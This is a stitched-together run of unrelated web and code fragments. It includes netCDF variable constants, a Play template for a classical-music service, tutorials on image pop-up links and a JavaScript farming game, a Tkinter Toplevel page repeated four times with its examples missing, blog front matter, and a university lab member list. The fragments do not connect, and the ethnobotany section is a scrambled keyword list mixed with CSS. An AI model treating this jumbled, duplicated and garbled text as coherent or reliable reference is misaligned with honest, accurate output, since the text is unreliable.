static const char * | STEERING_RATE = "steering_rate" |
| | steering rate netcdf variable name
|
| |
|
static const char * | DEW_TEMPERATURE = "dew_temp" |
| | dew point temperature netcdf variable name
|
| |
|
static const char * | SURFACE_TEMPERATURE = "surface_temp" |
| | surface temperature netcdf variable name
|
| |
|
static const char * | EXTERNAL_AIR_TEMPERATURE = "air_temp2" |
| | external air temperature netcdf variable name
|
| |
vdt probe_message file reader class


@import _root_.musicsvc.models.{Recording, Performer, Soloist, Ensemble, Conductor} @import _root_.musicsvc.controllers.PerformerData @import helper._ @(p: Performer, rs: Seq[Recording], modeReadOnly: Boolean, performerForm: Form[PerformerData])(implicit messages: Messages) @main("Classic Music Service") {
| @input(performerForm("name"), '_label -> "Name:", '_showConstraints -> false, '_showErrors -> true) { (id, name, value, args) => } @select(field = performerForm("performerType"), options = options(Map( "" -> "Select a Performer Type", Soloist.toString -> Soloist.toString, Ensemble.toString -> Ensemble.toString, Conductor.toString -> Conductor.toString)), 'id -> "selectPerformerType", '_label -> "Performer Type:", '_showConstraints -> false, '_showErrors -> true) | } |
|
-- No Recordings yet --
|
You cannot delete this performer as long as recordings are assigned to him. First delete the recordings of this performer. Then you can delete the performer.


MediaElement is a wrapper that mimics the native HTML5 MediaElement syntax (get/set) as a renderer that can handle media from HTML5, YouTube, Vimeo, Soundcloud, Flash, Facebook, and other libraries.
MediaElementPlayer is built off of MediaElement and creates a fully featured player on top of the unified syntax from MediaElement.
This demo shows how to setup (and for some, configure) the plugins to expand the player. As an example, Speed, Skip Back, Jump Forward and Markers are enabled


Goal:
Create an image pop-up link in the instructional content of your tutorial.
Steps to complete:
- Set up the files necessary for an image pop-up link by following these steps:
- Create a new directory, images, within the tutorial directory
- Copy icon-link-action.gif located at TE/images/ into the images directory you just created
- Create a new file, ImageFP.php, within the directory other
- If the directory other does not exist then you will need to create it first
- Open ImageFP.php with a text editor
- Copy the contents of the tab titled 'imageFP.php' in the right panel into ImageFP.php
- Close the tab
- Save ImageFP.php
- Add the image link to the first step in the tutorial by following these steps:
- Open page1_1.html
- Replace "concise" in page1_1.html with the link tag from the tab titled 'image_AnchorTag.html'
- Change the URL variable 'imageName.ext' in the anchor tag to "icon-link-action.gif"
- Change 'link label' to "concise"
- Save page1_1.html
Notes:
This method will pass the tutorial directory location and the image file name into the php file and return an HTML page with the image embedded.
You may also need to clear your cache if you need to see the results of loading different images.
See the effects of your work
(Click here for an example of the expected results of this step)
- Reload New Tutorial by clicking on the reload icon to the left of the name in the tutorial navigation menu
In the first step of the tutorial you should see a link for 'concise' in the text under "Goal". Click on the link and a pop-up should be displayed containing this image.
The changes are indicated with the following:
- Indicated text has been removed
- Indicated text has been edited
- Indicated text has been added
- Indicated text is the source of a copy


Tkinter ToplevelThe Toplevel widget is used to create and display the toplevel windows which are directly managed by the window manager. The toplevel widget may or may not have the parent window on the top of them. The toplevel widget is used when a python application needs to represent some extra information, pop-up, or the group of widgets on the new window. The toplevel windows have the title bars, borders, and other window decorations. The syntax to use the Toplevel widget is given below. SyntaxA List of possible options is given below.
MethodsThe methods associated with the Toplevel widget is given in the following list.
ExampleOutput:
Next TopicPython Tkinter Spinbox
|
Tkinter ToplevelThe Toplevel widget is used to create and display the toplevel windows which are directly managed by the window manager. The toplevel widget may or may not have the parent window on the top of them. The toplevel widget is used when a python application needs to represent some extra information, pop-up, or the group of widgets on the new window. The toplevel windows have the title bars, borders, and other window decorations. The syntax to use the Toplevel widget is given below. SyntaxA List of possible options is given below.
MethodsThe methods associated with the Toplevel widget is given in the following list.
ExampleOutput:
Next TopicPython Tkinter Spinbox
|
Tkinter ToplevelThe Toplevel widget is used to create and display the toplevel windows which are directly managed by the window manager. The toplevel widget may or may not have the parent window on the top of them. The toplevel widget is used when a python application needs to represent some extra information, pop-up, or the group of widgets on the new window. The toplevel windows have the title bars, borders, and other window decorations. The syntax to use the Toplevel widget is given below. SyntaxA List of possible options is given below.
MethodsThe methods associated with the Toplevel widget is given in the following list.
ExampleOutput:
Next TopicPython Tkinter Spinbox
|
Tkinter ToplevelThe Toplevel widget is used to create and display the toplevel windows which are directly managed by the window manager. The toplevel widget may or may not have the parent window on the top of them. The toplevel widget is used when a python application needs to represent some extra information, pop-up, or the group of widgets on the new window. The toplevel windows have the title bars, borders, and other window decorations. The syntax to use the Toplevel widget is given below. SyntaxA List of possible options is given below.
MethodsThe methods associated with the Toplevel widget is given in the following list.
ExampleOutput:
Next TopicPython Tkinter Spinbox
|


--- layout: post status: publish published: true title: VMworld 2009 - Opening Keynote Part 1 author: display_name: iguy login: iguy email<EMAIL_ADDRESS>url: '' author_login: iguy author_email<EMAIL_ADDRESS>wordpress_id: 210 wordpress_url: http://itsjustanotherlayer.com/?p=210 date: !binary |- MjAwOS0wOS0wMSAxNToxMToxNyAtMDUwMA== date_gmt: !binary |- MjAwOS0wOS0wMSAxNToxMToxNyAtMDUwMA== categories: - VMware tags: - keynote - vmworld comments: [] ---
No pictures today. However sitting here with awesome individuals such as Jason Silva, Mike Laverick, Dominc, Scott Lowe and the ever present John Troyer. Information to be coming as the keynote progresses.


{{ _('Sketch a Story') }}
{{ _('Welcome to the WordCounter Sketch a Story activity! These videos will help you run the activity.')}}
{{ _('We\'re ready to start') }}
{{ _('Done with our stories! Time to share-back!') }}
{{ _('All done. What next?') }}
{% endblock %}


Client
Remote control client.
Configurations
Server IP:
Server Port:
Mouse deadzone:
0
Mouse speed:
1
LEFT Click
RIGHT Click


We're using JavaScript to make a farming game.
In this game, you plant trees, wait for them to grow, then harvest them for money.
You use the money to buy more trees! So you can make more money! And buy even more trees! IT GOES ON FOREVER
It helps if you know the difference between HTML, CSS and JavaScript.
We recommend doing our Make a Page and Idea Generator projects before this one.
Download this file to your computer. Right click and choose 'Save Link As…' or 'Download linked file as…'
Download: farming.html
1. Download the file linked above.
2. Go to neocities.org and log in (or create a new account)
3. In Neocities, go to the dashboard.
4. Upload the farming.html file from your computer to Neocities.
5. In Neocities, view farming.html and make sure it works.
6. You should see a page with a black rectangle. It will turn brown in 2 seconds, then green 2 seconds later.
7. Once the rectangle is green, click on it. It will turn black again, and you'll get some money.
8. The button won't work yet.
Now you have your own copy of the farming game, so you can start improving it.
From the Neocities dashboard, edit farming.html.
I recommend having one browser tab for editing, and one for viewing the page.
Remember, each time you make a change you need to save (on the editing page) and then refresh (on the viewing page)
Cool, now we're ready to make some changes.
That black rectangle is supposed to be a plant. Let's draw some pictures of the plant's life cycle:
You can use any drawing tool you like. These instructions are for Gifpaint.
Open gifpaint.com
In gifpaint, click 'New GIF' up the top. Set the width to 64, height to 128, and frames to 1.
When you've finished drawing, click 'Encode GIF' (up the top) then click Download to download the gif file to your computer.
Once you've downloaded three drawings, rename the files on your computer to "small.gif", "medium.gif" and "large.gif".
Then upload the files to Neocities.
We can use CSS to make the plants show up in-game.
 Look for the CSS styles. They come after the <style>
tag, near the start of the file.
There are some CSS rules called '.apple-tree.small', '.apple-tree.medium' and '.apple-tree.large' which control what the plants look like.
Right now they set the background-color. You can use an image instead by using a CSS command like this:
background-image: url("/small.gif");
Get your new plant images showing up in the game.
Time to spend all that hard-earned money.
Look for a line that says var buyPlant = function() {
, near the bottom of the file.
This function controls what happens when the button is clicked.
Make the "buy an apple tree" button work.
It should check if you have enough money for a plant.
If you do, it should subtract that money from your balance, then add a new plant.
If you don't, it should pop up a message saying "You don't have enough money."
Clues:
>=
is a symbol that means "greater than, or equal to." It's useful for price checks.
if (age >= 5) {
alert("You are old enough to go to school.");
alert("Have fun!");
} else {
alert("No school for you.");
}
money
is the variable that holds how much money you have.
If you add or subtract from money, you need to call updateMoneyDisplay()
to make the number on screen change. It's not automatic.
money = money + 10; //payday!
updateMoneyDisplay(); //show my new balance
addPlant("apple-tree")
is a function I made that will add a new plant to the farm.
Good luck with your farm!
CHECK: You can click the button to add new plants to your farm.
CHECK: Buying a new plant costs money.
CHECK: You can't buy a plant unless you have enough money.
Add a new kind of plant to the farm. This will take several steps, but you can do it one step at a time.
Step 1: Add a new button to the HTML. Look for the HTML that makes the first button, and copy it – but you have to change the id so we can give it a different job.
CHECK that your new button appears on the page.
The button won't do anything yet.
Step 2: Find the JavaScript that causes the original button to call a function. (It's two lines, near the bottom.) Copy it and make a new version for your new button. For now, it can just call the same function as the old button.
(You'll need to change the name of the var from button to button2, or something. And you'll need to give it the id for your new button instead of the old "buy-button".)
CHECK that your new button works. It should buy an apple tree, just like the old button does.
Step 3: Make a new function by copying the buyPlant
function. Change its name, and change it so instead of calling addPlant("apple-tree")
it calls addPlant("something-else")
(you choose the something-else).
This won't work yet – your new plant is invisible so you can't see it.
Step 4: Add CSS for the new plant. Copy all the CSS that mentions apple-tree and make a new set of CSS for your new plant. Change the size or something so you can tell which is which.
CHECK that your new button now buys the new plant.
What's left? Make the new plant different in some way - it could use different images or be a different width and height. It could cost a different amount.


Back
ThinkLikeGeek
Try The First Course
ThinkLikeGeek
Learn: All courses
All Courses
Tech Intro
Math Intro
Code Repo


decoction (TAU used plants diseases reported species use medicinal plant treat informants treatment ethnobotanical cited MED-RES: cough study population uses traditional {border-style Figure different groups MED-SKI: pain px;} #ffffff;} eaten knowledge respiratory MED-GEN: MED-MET: MED-NER: Plants extract medicine skin taxa Greek MED-GAS: infusion citations folk officinalis raw Central MED-MUS: applied cardiovascular data information (%), (L.) Greece Macedonia Medicinal combination common joint mainly number prevent Origanum Thessaloniki disease diuretic group inflammation ... Ethnobotanical Ethnopharmacology Sideritis Used area improve local montana prostatitis subsp. Inf MED-CAR: Pieroni Traditional charantia diseases; ethnobotany living parts prevention region total tract Balkan Hypericum Sambucus Satureja Table University alcoholic cataplasm concerning differences diseases, groups, herbal hypercholesterolemia oily px; remedy various {font-family Crataegus Diseases Medicine Rosa Society addition, diseases. endemic font-size healing maceration market monogyna names previously regions rheumatisms species, studies survey water wild wounds Achillea Dopioi Edessa Greece, Hanlidou However, Macedonia, Matricaria Mediterranean Mill. Momordica Quave Tilia Verbascum based double; followed fruits gastric hypertension insomnia known large mentioned oil particular plants, problems remedies root scardica showed single south wound wounds, (also ./-()- ./j.jep... Cuscuta Cynoglossum Equisetum Europe European Greece. History Informant Mentha Northern Paliurus Pontians Research Robinia Sciences Thymus Vlachs abdominal according activity aerial border-color border-width canina chamomilla, cold communis cultural food fresh fruit gastrointestinal highly human i.e., important indicated linguistic majorana muscular pains perforatum, persons), populations present properties recent related scardica, sedative sold solid; species. spp. urogenital villages {font-style {font-weight (%) (), (a) (b) (c) (d) (e.g., Albania Ap. Asia Cercis Digitalis Ethnobiology Ethnomedicine Fl. Flora Folklore Inf. Jacq. Knowledge Kokkini Kosovo Le, Micromeria Mikrasiates Mustafa Naoussa Press Skin Tamus Valeriana ailments analgesic areas article bee blood boiled bold burns, campestris carried categories categories, collected combined commonly comparison composition constipation courier; cultivated dialect disorders distributed disturbs diversity drunk em; ethnic exclusively expectorant field fragmented given group. groups. high highest included incorporated inhabitants juliana names. nigra, ointment particularly perforatum popular poultice provided pt;} quoted referred relation relevant reports significant social symptoms tinnitus town toxic tradition treating using


大学院生/Graduate students
代表 Takehiko Ohkawa (UTokyo, CV/DL/ML)
Soto Anno (TokyoTech, ML/DataScience)
Daichi Saito (TokyoTech, HCI/Robotics)
学部生/Undergraduates
Fumi Takahashi (Waseda, ML/Security)
Haruka Kiyohara (TokyoTech, RL/ML/Management)
Waida Hiroki (TokyoTech, ML/AppliedMath)
Yusuke Uchida (TokyoTech, CV/ML/DL)
Akihiro Suzuki (TokyoTech, CV/CG)
Tomokazu Saito (TokyoTech, ML/HPC)
Kanoko Goto (TokyoTech, NLP/Speech)
Ryosuke Takanami (TokyoTech, CognitiveScience/RL/ML)
Ryota Marumoto (Waseda, CognitiveScience/RL/ML)
Tatsukichi Shibuya (TokyoTech, CV/ML)
Akito Shimbo (TokyoTech, NLP/CV)
Hyogo Koizumi (TokyoTech, HCI/CG/CV)
過去の在籍メンバー/Alumni
2019 Yuki Maruyama (TokyoTech, NLP/DL)